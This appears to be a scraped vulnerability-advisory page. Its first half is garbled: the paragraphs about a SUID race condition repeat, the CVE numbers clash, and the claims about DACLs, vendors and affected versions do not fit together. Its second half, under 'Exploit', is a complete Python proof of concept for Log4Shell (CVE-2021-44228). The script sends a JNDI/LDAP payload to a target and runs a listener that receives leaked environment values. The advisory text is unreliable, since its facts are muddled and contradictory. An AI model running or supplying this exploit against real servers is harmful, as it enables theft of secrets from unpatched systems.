In most cases, the hotpatch will run successfully. However, if the process exec()s a SUID binary and the process has not been observed, the exec() may perform a race between the process observing the process path and the process observing the effective user ID. The race condition could lead to the SUID binary being executed with elevated privileges. This could allow an attacker to install a malicious Java or ELF program on the local virtual machine. This could lead to a local privilege escalation. A local user could cause the hotpatch script to execute a custom java process that performs exec() of a SUID binary after the process has observed its effective user ID. In such a scenario, the exec() may perform a race between the process observing the process path and the process observing the effective user ID. In such a scenario, the exec() may perform a race between the process observing the process path and the process observing the effective user ID. As a result, the exec() may erroneously execute the SUID binary with elevated privileges. This could allow a local attacker to run a malicious Java or ELF program on the local virtual machine with elevated privileges. This could lead to a local privilege escalation.

CVE-2023-33916

The vulnerability is caused by the use of a discretionary access control list (DACL) to enable or disable privileges on a process. By default, the Dacl is effective only for the owner of the process. If the Dacl was enabled for some other user, privileges could be granted to that user without granting those privileges to the process's owner.
In most cases, this vulnerability will not pose a threat to users as there are many processes running with disabled DACLs and only one running with an enabled DACL. In this scenario, any privilege escalation as a result of this vulnerability would be limited in scope and duration.

Vulnerability Description and affected versions of Red Hat Enterprise Linux


The vulnerability is due to a race condition that may occur when the process executes a SUID binary and the process has not been observed. The race condition could lead to the SUID binary being executed with elevated privileges. This could allow an attacker to install a malicious Java or ELF program on the local virtual machine. This could lead to a local privilege escalation. A local user could cause the hotpatch script to execute a custom java process that performs exec() of a SUID binary after the process has observed its effective user ID. In such a scenario, the exec() may perform a race between the process observing the process path and the process observing the effective user ID. As a result, the exec() may erroneously execute the SUID binary with elevated privileges. This could allow a local attacker to run a malicious Java or ELF program on the local virtual machine with elevated privileges. This could lead to a local privilege escalation

Vulnerable System Requirements

Virtual machines running on RHEL 5, RHEL 6, or CentOS 5.x, 6.x, 7.x
CVE-2022-33915

Vulnerability found and details disclosed

Delivered by Embedi to Oracle on the day of the Patch Tuesday update, CVE-2022-33915 (named "JVMCORE102518") is a race condition that allows local attackers to perform a local privilege escalation. This vulnerability has been assigned ID number CVE-2019-0204.

Vulnerable versions of CVE-2022-33915

The vulnerable versions of CVE-2022-33915 are described below.
* Oracle JDK and Java Runtime Environment (JRE) 7u80, 8u45 and earlier, 9
* Oracle Java Web Start 1.0.2_25
* Oracle JRockit R28.2.8 and earlier
* OpenJDK 7u101 and earlier

Exploit

# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <= 2.14.1
# CVE: CVE-2021-44228

#!/usr/bin/env python3

# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza

import argparse
import socketserver
import threading
import time

import requests

LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'


class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
    def handle(self) -> None:
        print(f' i| new connection from {self.client_address[0]}')

        sock = self.request
        sock.recv(1024)
        sock.sendall(LDAP_HEADER)

        data = sock.recv(1024)
        data = data[9:]  # strip header

        # example response
        #
        # ('Java version 11.0.13\n'
        #  '\x01\x00\n'
        #  '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
        #  'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')

        data = data.decode(errors='ignore').split('\n')[0]
        print(f' v| extracted value: {data}')


class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


def main():
    parser = argparse.ArgumentParser(description='a simple log4j
<=2.14 information disclosure poc '
                                                 '(ref:
https://twitter.com/Black2Fan/status/1470281005038817284)')
    parser.add_argument('--target', '-t', required=True, help='target uri')
    parser.add_argument('--listen-host', default='0.0.0.0',
                        help='exploit server host to listen on
(default: 127.0.0.1)')
    parser.add_argument('--listen-port', '-lp', default=8888,
help='exploit server port to listen on (default: 8888)')
    parser.add_argument('--exploit-host', '-eh', required=True,
default='127.0.0.1',
                        help='host where (this) exploit server is reachable')
    parser.add_argument('--leak', '-l', default='${java:version}',
                        help='value to leak. '
                             'see:
https://twitter.com/Rayhan0x01/status/1469571563674505217 '
                             '(default: ${java:version})')
    args = parser.parse_args()

    print(f' i| starting server on {args.listen_host}:{args.listen_port}')
    server = ThreadedTCPServer((args.listen_host, args.listen_port),
ThreadedTCPRequestHandler)

    serv_thread = threading.Thread(target=server.serve_forever)
    serv_thread.daemon = True
    serv_thread.start()
    time.sleep(1)
    print(f' i| server started')

    payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
    print(f' i| sending exploit payload {payload} to {args.target}')

    try:
        r = requests.get(args.target, headers={'User-Agent': payload})
        print(f' i| response status code: {r.status_code}')
        print(f' i| response: {r.text}')
    except Exception as e:
        print(f' e| failed to make request: {e}')
    finally:
        server.shutdown()
        server.server_close()


if __name__ == '__main__':
    main()

Timeline

Published on: 06/17/2022 13:15:00 UTC
Last modified on: 07/05/2022 19:43:00 UTC

References